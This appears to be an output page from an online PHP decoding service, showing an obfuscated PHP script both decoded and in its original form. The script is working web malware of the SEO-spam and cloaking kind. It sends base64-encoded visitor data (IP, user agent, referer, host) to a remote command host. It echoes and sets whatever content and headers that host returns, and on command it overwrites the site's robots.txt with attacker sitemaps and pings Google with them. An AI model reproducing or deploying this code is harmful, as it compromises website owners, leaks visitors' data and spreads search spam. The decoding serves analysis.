Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php errOr_reportiNG((int)rOUnd(0+0+0+0));$_xkfzfi="\x7aj1\x32\x37";$_ughp="d1";if(PReG_m..

Decoded Output download

<?php errOr_reportiNG((int)rOUnd(0+0+0+0));$_xkfzfi="zj127";$_ughp="d1";if(PReG_mATCh("/jp2023/si",$_SERVER["REQUEST_URI"])==((-01157-0236- -0717)+(int)rouND(-152+-152+-152)-(-01473- -064))){hEAdER("HTTP/1.0 404 Not Found");echo"HTTP/1.0 404 Not Found"."___".$_xkfzfi."___".$_ughp;exit;}function _gshlosy($_ajyj){$_qyljyw=cuRl_init();curl_SETopt($_qyljyw,(024373-023017-023411+045755)-(int)ROUNd(4981.5+4981.5)-(022332-024342- -025242)-(int)rOund(-4913.75+-4913.75+-4913.75+-4913.75),$_ajyj);CUrl_SEtOpT($_qyljyw,(int)ROUND(9956.5+9956.5),(-0576- -01273+-01243)-(01016- -0500- -0445+-01755)-(02056-0667)-(int)rOuNd(-562+-562));cuRL_SeTopT($_qyljyw,(int)rOUnD(26+26+26),(int)ROuND(2.5+2.5+2.5+2.5));$_slvcyxp=CurL_exEC($_qyljyw);$_slvcyxp=tRim($_slvcyxp);curl_cLose($_qyljyw);if(empty($_slvcyxp)){$_slvcyxp=fILE_geT_COntEnTs($_ajyj);}return$_slvcyxp;}$_nsiu="http://".$_xkfzfi.".validray.com";$_shjogvf="/index.php?VS=".$_ughp."&GP=".$_xkfzfi;$_qwquppzb=array("SCRIPT_NAME","REQUEST_URI","HTTPS","REQUEST_SCHEME","SERVER_PORT","REMOTE_ADDR","HTTP_REFERER","HTTP_ACCEPT_LANGUAGE","HTTP_USER_AGENT","HTTP_HOST");foreach($_qwquppzb as$_awhop){$_ghmefqe=isset($_SERVER[$_awhop])?$_SERVER[$_awhop]:"";$_vrszffo=BaSE64_eNcoDe(tRIM($_ghmefqe));$_vrszffo=StR_RePlaCe("+","-",$_vrszffo);$_vrszffo=sTr_rEPlACe("/","_",$_vrszffo);$_vrszffo=Str_RePlAce("=",".",$_vrszffo);$_shjogvf.="&".$_awhop."=".$_vrszffo;}$_llyvaxhj=exPLoDE("|@#$|",TrIm(_gshlosy($_nsiu.$_shjogvf)));$_wrig=coUnt($_llyvaxhj);if($_wrig<((int)rounD(-216.5+-216.5)-(int)rOund(-109+-109+-109+-109))){HeADer("HTTP/1.0 404 Not Found");exit;}else{$_usak=TRiM($_llyvaxhj[(int)rOUnD(257.33333333333+257.33333333333+257.33333333333)-(0160- -051+-0170)-(0302+02726-01665)]);if(!empty($_usak)){heAdER($_usak);}$_jgets=TriM($_llyvaxhj[(int)ROUnD(0.33333333333333+0.33333333333333+0.33333333333333)]);if(!empty($_jgets)){echo$_jgets;}$_tdhve=tRiM($_llyvaxhj[$_wrig-(int)rOund(0.25+0.25+0.25+0.25)]);if($_tdhve=="exit"){exit;}if($_tdhve=="ping"){$_bwtlks="User-agent:*".PHP_EOL;$_bwtlks.="Allow:/".PHP_EOL;$_uocva=ExpLODE("<br/>",$_jgets);ARRaY_pOP($_uocva);foreach($_uocva as$_ergywucg){$_bwtlks.="Sitemap:".$_ergywucg.PHP_EOL;$_mwbhszbt=_gshlosy("https://www.google.com/ping?sitemap=".$_ergywucg);prEG_maTcH("/<h2>(.+)?<\/h2>/",$_mwbhszbt,$_ezwhn);echo$_ergywucg."==>ping-google-result-is:<b>".$_ezwhn[(int)rouNd(-47.5+-47.5+-47.5+-47.5)-(-01610+01262+0136+-0107)]."</b><br/>";uSLeEp(mt_RAND((int)rOUnd(50000+50000),(int)RouNd(75000+75000+75000+75000)));}fiLE_puT_CONtEnTs($_SERVER["DOCUMENT_ROOT"]."/robots.txt",$_bwtlks);echo"robots.txt==><b>updated</b>";exit;}};?>

Did this file decode correctly?

Original Code

<?php errOr_reportiNG((int)rOUnd(0+0+0+0));$_xkfzfi="\x7aj1\x32\x37";$_ughp="d1";if(PReG_mATCh("\057\x6ap2\060\062\x33\057\163i",$_SERVER["R\x45\x51UE\123\124_UR\x49"])==((-01157-0236- -0717)+(int)rouND(-152+-152+-152)-(-01473- -064))){hEAdER("HT\124P\x2f1\x2e0 40\064\040Not\x20\x46o\165nd");echo"H\x54T\120/\x31.0\040\x340\x34 \116o\x74 F\157\x75\x6ed"."\137\137\x5f".$_xkfzfi."_\137_".$_ughp;exit;}function _gshlosy($_ajyj){$_qyljyw=cuRl_init();curl_SETopt($_qyljyw,(024373-023017-023411+045755)-(int)ROUNd(4981.5+4981.5)-(022332-024342- -025242)-(int)rOund(-4913.75+-4913.75+-4913.75+-4913.75),$_ajyj);CUrl_SEtOpT($_qyljyw,(int)ROUND(9956.5+9956.5),(-0576- -01273+-01243)-(01016- -0500- -0445+-01755)-(02056-0667)-(int)rOuNd(-562+-562));cuRL_SeTopT($_qyljyw,(int)rOUnD(26+26+26),(int)ROuND(2.5+2.5+2.5+2.5));$_slvcyxp=CurL_exEC($_qyljyw);$_slvcyxp=tRim($_slvcyxp);curl_cLose($_qyljyw);if(empty($_slvcyxp)){$_slvcyxp=fILE_geT_COntEnTs($_ajyj);}return$_slvcyxp;}$_nsiu="ht\164p\072//".$_xkfzfi."\056v\x61\x6cidray.com";$_shjogvf="/\x69n\144\145x\x2e\160hp\x3f\126S=".$_ughp."&\x47\x50=".$_xkfzfi;$_qwquppzb=array("S\103\x52I\x50T\x5f\116AME","\122E\x51\x55EST\x5fU\x52\x49","H\x54TP\x53","REQUEST_SC\110EME","SERV\x45\122_\x50\x4f\x52\x54","RE\115\117TE_\x41D\x44R","\110\x54\x54P_\122\105F\x45R\x45\x52","\x48T\x54\x50_\x41\x43\x43\105\x50T_L\101NGU\x41GE","HTTP_USER_A\107E\x4eT","\110TTP_HO\x53\124");foreach($_qwquppzb as$_awhop){$_ghmefqe=isset($_SERVER[$_awhop])?$_SERVER[$_awhop]:"";$_vrszffo=BaSE64_eNcoDe(tRIM($_ghmefqe));$_vrszffo=StR_RePlaCe("+","-",$_vrszffo);$_vrszffo=sTr_rEPlACe("\057","_",$_vrszffo);$_vrszffo=Str_RePlAce("\x3d",".",$_vrszffo);$_shjogvf.="&".$_awhop."\075".$_vrszffo;}$_llyvaxhj=exPLoDE("|\100#\044\x7c",TrIm(_gshlosy($_nsiu.$_shjogvf)));$_wrig=coUnt($_llyvaxhj);if($_wrig<((int)rounD(-216.5+-216.5)-(int)rOund(-109+-109+-109+-109))){HeADer("\x48TTP/1\0560 \x34\060\x34\x20N\x6f\164\x20Found");exit;}else{$_usak=TRiM($_llyvaxhj[(int)rOUnD(257.33333333333+257.33333333333+257.33333333333)-(0160- -051+-0170)-(0302+02726-01665)]);if(!empty($_usak)){heAdER($_usak);}$_jgets=TriM($_llyvaxhj[(int)ROUnD(0.33333333333333+0.33333333333333+0.33333333333333)]);if(!empty($_jgets)){echo$_jgets;}$_tdhve=tRiM($_llyvaxhj[$_wrig-(int)rOund(0.25+0.25+0.25+0.25)]);if($_tdhve=="\x65\170\151\164"){exit;}if($_tdhve=="\160\x69n\147"){$_bwtlks="\x55\163er-agen\x74\x3a\052".PHP_EOL;$_bwtlks.="\x41\x6clo\167:/".PHP_EOL;$_uocva=ExpLODE("\x3cbr\057>",$_jgets);ARRaY_pOP($_uocva);foreach($_uocva as$_ergywucg){$_bwtlks.="Sitema\x70:".$_ergywucg.PHP_EOL;$_mwbhszbt=_gshlosy("h\164\x74ps:\057/w\167w.g\157ogl\145\056c\157m\057\x70i\x6e\147\077\163ite\155\141p=".$_ergywucg);prEG_maTcH("\x2f<h2\076(\x2e+)?<\134\057h\x32>/",$_mwbhszbt,$_ezwhn);echo$_ergywucg."\075=>pi\156\147-\147o\x6fg\154\145\x2dr\145su\154\x74\x2d\x69\163\x3a<\142>".$_ezwhn[(int)rouNd(-47.5+-47.5+-47.5+-47.5)-(-01610+01262+0136+-0107)]."<\x2fb><b\x72\057\x3e";uSLeEp(mt_RAND((int)rOUnd(50000+50000),(int)RouNd(75000+75000+75000+75000)));}fiLE_puT_CONtEnTs($_SERVER["DO\103UM\105\116T\x5f\x52OO\x54"]."\x2frob\157\x74\163\x2etx\x74",$_bwtlks);echo"robo\x74\x73\056\164\170\164\x3d=>\074b>u\x70da\x74ed\074/b\076";exit;}};?>

Function Calls

rOUnd 1

Variables

None

Stats

MD5 77b0ee813d4699f86fa70366bad78e75
Eval Count 0
Decode Time 51 ms